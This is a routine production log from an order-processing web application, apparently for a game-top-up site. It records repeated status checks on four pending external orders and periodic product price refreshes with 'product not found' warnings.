[2026-03-24 01:50:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"0Bt6IJEWHZQN1fn16rDSTYFmglqQJU46","execution_time":"2026-03-24 01:50:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:50:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"0Bt6IJEWHZQN1fn16rDSTYFmglqQJU46","execution_time":"2026-03-24 01:50:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:50:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"0Bt6IJEWHZQN1fn16rDSTYFmglqQJU46","execution_time":"2026-03-24 01:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:50:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0Bt6IJEWHZQN1fn16rDSTYFmglqQJU46","execution_time":"2026-03-24 01:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:50:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0Bt6IJEWHZQN1fn16rDSTYFmglqQJU46","execution_time":"2026-03-24 01:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:50:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0Bt6IJEWHZQN1fn16rDSTYFmglqQJU46","execution_time":"2026-03-24 01:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:50:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0Bt6IJEWHZQN1fn16rDSTYFmglqQJU46","execution_time":"2026-03-24 01:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:50:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"0Bt6IJEWHZQN1fn16rDSTYFmglqQJU46","execution_time":"2026-03-24 01:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:50:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"0Bt6IJEWHZQN1fn16rDSTYFmglqQJU46","execution_time":"2026-03-24 01:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:50:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"0Bt6IJEWHZQN1fn16rDSTYFmglqQJU46","execution_time":"2026-03-24 01:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:50:02] production.INFO: Executing GetProducts task...  
[2026-03-24 01:50:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 01:50:02] production.INFO: Executing GetProducts task...  
[2026-03-24 01:50:04] production.INFO: async() رجع: true  
[2026-03-24 01:50:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 01:50:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 01:50:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 01:50:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 01:50:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 01:50:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 01:50:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 01:50:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 01:50:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 01:50:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 01:50:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 01:52:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"cMPZZx1skE9NelEkNSqAMObG3KZbud0Y","execution_time":"2026-03-24 01:52:03"} 
[2026-03-24 01:52:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"cMPZZx1skE9NelEkNSqAMObG3KZbud0Y","execution_time":"2026-03-24 01:52:03","total_operations":4,"sites_count":1} 
[2026-03-24 01:52:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"cMPZZx1skE9NelEkNSqAMObG3KZbud0Y","execution_time":"2026-03-24 01:52:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:52:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"cMPZZx1skE9NelEkNSqAMObG3KZbud0Y","execution_time":"2026-03-24 01:52:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:52:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"cMPZZx1skE9NelEkNSqAMObG3KZbud0Y","execution_time":"2026-03-24 01:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:52:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cMPZZx1skE9NelEkNSqAMObG3KZbud0Y","execution_time":"2026-03-24 01:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:52:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cMPZZx1skE9NelEkNSqAMObG3KZbud0Y","execution_time":"2026-03-24 01:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:52:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cMPZZx1skE9NelEkNSqAMObG3KZbud0Y","execution_time":"2026-03-24 01:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:52:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cMPZZx1skE9NelEkNSqAMObG3KZbud0Y","execution_time":"2026-03-24 01:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:52:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"cMPZZx1skE9NelEkNSqAMObG3KZbud0Y","execution_time":"2026-03-24 01:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:52:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"cMPZZx1skE9NelEkNSqAMObG3KZbud0Y","execution_time":"2026-03-24 01:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:52:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"cMPZZx1skE9NelEkNSqAMObG3KZbud0Y","execution_time":"2026-03-24 01:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:54:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"qzuLGIWgiBxPQ0BXye673SxtYKx1DwBG","execution_time":"2026-03-24 01:54:03"} 
[2026-03-24 01:54:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"qzuLGIWgiBxPQ0BXye673SxtYKx1DwBG","execution_time":"2026-03-24 01:54:03","total_operations":4,"sites_count":1} 
[2026-03-24 01:54:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"qzuLGIWgiBxPQ0BXye673SxtYKx1DwBG","execution_time":"2026-03-24 01:54:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:54:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"qzuLGIWgiBxPQ0BXye673SxtYKx1DwBG","execution_time":"2026-03-24 01:54:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:54:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"qzuLGIWgiBxPQ0BXye673SxtYKx1DwBG","execution_time":"2026-03-24 01:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:54:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qzuLGIWgiBxPQ0BXye673SxtYKx1DwBG","execution_time":"2026-03-24 01:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:54:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qzuLGIWgiBxPQ0BXye673SxtYKx1DwBG","execution_time":"2026-03-24 01:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:54:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qzuLGIWgiBxPQ0BXye673SxtYKx1DwBG","execution_time":"2026-03-24 01:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:54:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qzuLGIWgiBxPQ0BXye673SxtYKx1DwBG","execution_time":"2026-03-24 01:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:54:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"qzuLGIWgiBxPQ0BXye673SxtYKx1DwBG","execution_time":"2026-03-24 01:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:54:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"qzuLGIWgiBxPQ0BXye673SxtYKx1DwBG","execution_time":"2026-03-24 01:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:54:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"qzuLGIWgiBxPQ0BXye673SxtYKx1DwBG","execution_time":"2026-03-24 01:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:55:03] production.INFO: Executing GetProducts task...  
[2026-03-24 01:55:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 01:55:03] production.INFO: Executing GetProducts task...  
[2026-03-24 01:55:05] production.INFO: async() رجع: true  
[2026-03-24 01:55:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 01:55:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 01:55:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 01:55:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 01:55:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 01:55:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 01:55:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 01:55:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 01:55:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 01:55:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 01:55:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 01:56:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"OSNR1jRYQxVwdX7A7Y6BByQhhcaG04MI","execution_time":"2026-03-24 01:56:00"} 
[2026-03-24 01:56:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"OSNR1jRYQxVwdX7A7Y6BByQhhcaG04MI","execution_time":"2026-03-24 01:56:00","total_operations":4,"sites_count":1} 
[2026-03-24 01:56:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"OSNR1jRYQxVwdX7A7Y6BByQhhcaG04MI","execution_time":"2026-03-24 01:56:00","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:56:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"OSNR1jRYQxVwdX7A7Y6BByQhhcaG04MI","execution_time":"2026-03-24 01:56:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:56:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"OSNR1jRYQxVwdX7A7Y6BByQhhcaG04MI","execution_time":"2026-03-24 01:56:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:56:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"OSNR1jRYQxVwdX7A7Y6BByQhhcaG04MI","execution_time":"2026-03-24 01:56:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:56:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"OSNR1jRYQxVwdX7A7Y6BByQhhcaG04MI","execution_time":"2026-03-24 01:56:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:56:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"OSNR1jRYQxVwdX7A7Y6BByQhhcaG04MI","execution_time":"2026-03-24 01:56:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:56:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"OSNR1jRYQxVwdX7A7Y6BByQhhcaG04MI","execution_time":"2026-03-24 01:56:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:56:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"OSNR1jRYQxVwdX7A7Y6BByQhhcaG04MI","execution_time":"2026-03-24 01:56:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:56:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"OSNR1jRYQxVwdX7A7Y6BByQhhcaG04MI","execution_time":"2026-03-24 01:56:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:56:00] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"OSNR1jRYQxVwdX7A7Y6BByQhhcaG04MI","execution_time":"2026-03-24 01:56:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:58:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"BWoTr1znqjZRzJo2n7guRPIM5Fms18dq","execution_time":"2026-03-24 01:58:00"} 
[2026-03-24 01:58:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"BWoTr1znqjZRzJo2n7guRPIM5Fms18dq","execution_time":"2026-03-24 01:58:00","total_operations":4,"sites_count":1} 
[2026-03-24 01:58:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"BWoTr1znqjZRzJo2n7guRPIM5Fms18dq","execution_time":"2026-03-24 01:58:00","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:58:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"BWoTr1znqjZRzJo2n7guRPIM5Fms18dq","execution_time":"2026-03-24 01:58:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:58:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"BWoTr1znqjZRzJo2n7guRPIM5Fms18dq","execution_time":"2026-03-24 01:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:58:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"BWoTr1znqjZRzJo2n7guRPIM5Fms18dq","execution_time":"2026-03-24 01:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:58:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"BWoTr1znqjZRzJo2n7guRPIM5Fms18dq","execution_time":"2026-03-24 01:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:58:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"BWoTr1znqjZRzJo2n7guRPIM5Fms18dq","execution_time":"2026-03-24 01:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:58:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"BWoTr1znqjZRzJo2n7guRPIM5Fms18dq","execution_time":"2026-03-24 01:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:58:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"BWoTr1znqjZRzJo2n7guRPIM5Fms18dq","execution_time":"2026-03-24 01:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:58:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"BWoTr1znqjZRzJo2n7guRPIM5Fms18dq","execution_time":"2026-03-24 01:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:58:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"BWoTr1znqjZRzJo2n7guRPIM5Fms18dq","execution_time":"2026-03-24 01:58:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:00:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"uPtA3xqZ0uidbVMjui1z1izXd3TlJFgn","execution_time":"2026-03-24 02:00:01"} 
[2026-03-24 02:00:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"uPtA3xqZ0uidbVMjui1z1izXd3TlJFgn","execution_time":"2026-03-24 02:00:01","total_operations":4,"sites_count":1} 
[2026-03-24 02:00:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"uPtA3xqZ0uidbVMjui1z1izXd3TlJFgn","execution_time":"2026-03-24 02:00:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:00:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"uPtA3xqZ0uidbVMjui1z1izXd3TlJFgn","execution_time":"2026-03-24 02:00:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:00:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"uPtA3xqZ0uidbVMjui1z1izXd3TlJFgn","execution_time":"2026-03-24 02:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:00:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uPtA3xqZ0uidbVMjui1z1izXd3TlJFgn","execution_time":"2026-03-24 02:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:00:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uPtA3xqZ0uidbVMjui1z1izXd3TlJFgn","execution_time":"2026-03-24 02:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:00:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uPtA3xqZ0uidbVMjui1z1izXd3TlJFgn","execution_time":"2026-03-24 02:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:00:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uPtA3xqZ0uidbVMjui1z1izXd3TlJFgn","execution_time":"2026-03-24 02:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:00:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"uPtA3xqZ0uidbVMjui1z1izXd3TlJFgn","execution_time":"2026-03-24 02:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:00:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"uPtA3xqZ0uidbVMjui1z1izXd3TlJFgn","execution_time":"2026-03-24 02:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:00:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"uPtA3xqZ0uidbVMjui1z1izXd3TlJFgn","execution_time":"2026-03-24 02:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:00:01] production.INFO: Executing GetProducts task...  
[2026-03-24 02:00:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 02:00:01] production.INFO: Executing GetProducts task...  
[2026-03-24 02:00:03] production.INFO: async() رجع: true  
[2026-03-24 02:00:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 02:00:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 02:00:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 02:00:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 02:00:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 02:00:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 02:00:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 02:00:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 02:00:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 02:00:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 02:00:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 02:02:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"TalhBQ8xc8DlBy3KId50Jrd8vp0bFfl7","execution_time":"2026-03-24 02:02:01"} 
[2026-03-24 02:02:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"TalhBQ8xc8DlBy3KId50Jrd8vp0bFfl7","execution_time":"2026-03-24 02:02:01","total_operations":4,"sites_count":1} 
[2026-03-24 02:02:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"TalhBQ8xc8DlBy3KId50Jrd8vp0bFfl7","execution_time":"2026-03-24 02:02:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:02:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"TalhBQ8xc8DlBy3KId50Jrd8vp0bFfl7","execution_time":"2026-03-24 02:02:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:02:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"TalhBQ8xc8DlBy3KId50Jrd8vp0bFfl7","execution_time":"2026-03-24 02:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:02:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TalhBQ8xc8DlBy3KId50Jrd8vp0bFfl7","execution_time":"2026-03-24 02:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:02:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TalhBQ8xc8DlBy3KId50Jrd8vp0bFfl7","execution_time":"2026-03-24 02:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:02:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TalhBQ8xc8DlBy3KId50Jrd8vp0bFfl7","execution_time":"2026-03-24 02:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:02:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TalhBQ8xc8DlBy3KId50Jrd8vp0bFfl7","execution_time":"2026-03-24 02:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:02:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"TalhBQ8xc8DlBy3KId50Jrd8vp0bFfl7","execution_time":"2026-03-24 02:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:02:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"TalhBQ8xc8DlBy3KId50Jrd8vp0bFfl7","execution_time":"2026-03-24 02:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:02:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"TalhBQ8xc8DlBy3KId50Jrd8vp0bFfl7","execution_time":"2026-03-24 02:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:04:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"cgIYnV6AduiYPNYt4nj8oQVqkSj2IAVB","execution_time":"2026-03-24 02:04:02"} 
[2026-03-24 02:04:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"cgIYnV6AduiYPNYt4nj8oQVqkSj2IAVB","execution_time":"2026-03-24 02:04:02","total_operations":4,"sites_count":1} 
[2026-03-24 02:04:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"cgIYnV6AduiYPNYt4nj8oQVqkSj2IAVB","execution_time":"2026-03-24 02:04:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:04:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"cgIYnV6AduiYPNYt4nj8oQVqkSj2IAVB","execution_time":"2026-03-24 02:04:02","site_id":3,"site_name":"swgamessd"} 
